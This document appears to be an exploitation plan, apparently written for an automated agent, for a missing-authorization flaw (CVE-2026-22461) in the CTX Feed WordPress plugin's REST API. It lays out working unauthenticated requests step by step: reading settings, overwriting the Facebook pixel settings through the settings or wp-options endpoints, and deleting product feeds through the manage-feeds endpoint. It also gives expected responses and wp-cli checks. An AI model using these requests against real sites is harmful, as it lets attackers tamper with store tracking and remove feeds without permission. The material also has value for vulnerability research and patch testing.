Exploitation Research Plan - CVE-2026-22461

1. Vulnerability Summary

The CTX Feed plugin for WordPress (versions up to 6.6.18) is vulnerable to unauthorized access due to missing authorization checks in its REST API implementation. The plugin registers a series of REST routes in V5/API/RestController.php but fails to consistently apply the get_item_permissions_check method as a permission_callback for several sensitive endpoints. This allows unauthenticated attackers to perform administrative actions, such as modifying plugin settings or managing product feeds.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/ctxfeed/v1/settings or POST /wp-json/ctxfeed/v1/wp-options
• REST Namespace: ctxfeed/v1 (Inferred from WOO_FEED_API_NAMESPACE and the class folder structure V5/API/V1).
• Method: POST
• Authentication: None (Unauthenticated)
• Preconditions: The plugin must be active. WooCommerce is typically required for the plugin to function.

3. Code Flow

1. Route Registration: During rest_api_init, RestController::instance() calls register_api().
2. Sub-class Initialization: register_api() loops through a list of classes: AttributesMapping, CategoryMapping, DropDown, ManageFeeds, Settings, WPOptions, etc.
3. Route Definition: Each class (e.g., Settings::instance()) calls its own register_routes() method.
4. The Vulnerability: These sub-classes register routes using register_rest_route() but either omit the permission_callback parameter or set it to a function that does not properly invoke the RestController::get_item_permissions_check logic.
5. Request Execution: An unauthenticated HTTP request hits the endpoint. Because there is no permission_callback returning false (or a WP_Error), the callback (e.g., update_settings) is executed immediately.
6. Unauthorized Action: The callback performs a privileged action (like update_option) without verifying the requester has manage_options or manage_woocommerce capabilities.

4. Nonce Acquisition Strategy

The WordPress REST API generally does not require a nonce for unauthenticated access unless the specific handler logic checks for one. Since this vulnerability involves a missing authorization check at the route level, the X-WP-Nonce header is not required for the exploit to succeed.

5. Exploitation Strategy

The goal is to modify a plugin setting to demonstrate unauthorized write access (Integrity: Low).

Step 1: Discover the settings structure

Attempt to read the current settings to identify valid keys.

• Request:
  • Method: GET
  • URL: /wp-json/ctxfeed/v1/settings
  • Tool: http_request

Step 2: Modify a setting

We will target the disable_pixel or remarketing_id settings which are used in the tracking logic (FacebookTracker and GoogleTracker).

• Request:
  • Method: POST
  • URL: /wp-json/ctxfeed/v1/settings
  • Headers: Content-Type: application/json
  • Payload: {"disable_pixel": "enable", "pixel_id": "exploited_id"}
  • Tool: http_request

Step 3: Verify the change

Check the response from Step 2 or repeat Step 1 to confirm the value has changed.

6. Test Data Setup

1. Environment: Standard WordPress installation.
2. Plugin: Install and activate webappick-product-feed-for-woocommerce version 6.6.18.
3. Dependency: WooCommerce must be active for the CTX Feed REST controllers to initialize correctly.
4. Configuration: No specific feeds need to be created; the vulnerability exists in the global settings management.

7. Expected Results

• Success Indicator: The server returns an HTTP 200 OK.
• Response Content: The response body should contain a JSON object with status: 200 and the updated data array showing the new setting values.
• Example Response:

  {
    "status": 200,
    "data": {
      "disable_pixel": "enable",
      "pixel_id": "exploited_id",
      "..." : "..."
    }
  }
  

8. Verification Steps

After the HTTP request, use the wp_cli to confirm the persistent database change:

# Check the plugin settings option
wp option get woo_feed_settings --format=json

Verify that the pixel_id or disable_pixel keys match the payload sent in the exploit.

9. Alternative Approaches

If the settings endpoint is partially protected, attempt to exploit the wp-options endpoint:

• Endpoint: POST /wp-json/ctxfeed/v1/wp-options
• Payload: {"option_name": "woo_feed_settings", "option_value": {"disable_pixel": "enable", "pixel_id": "exploited_alt"}}

If the objective is to impact feed availability, attempt to use the manage-feeds endpoint to delete an existing feed:

• Action: DELETE /wp-json/ctxfeed/v1/manage-feeds/[FEED_ID] (where FEED_ID is identified via a prior GET /wp-json/ctxfeed/v1/manage-feeds).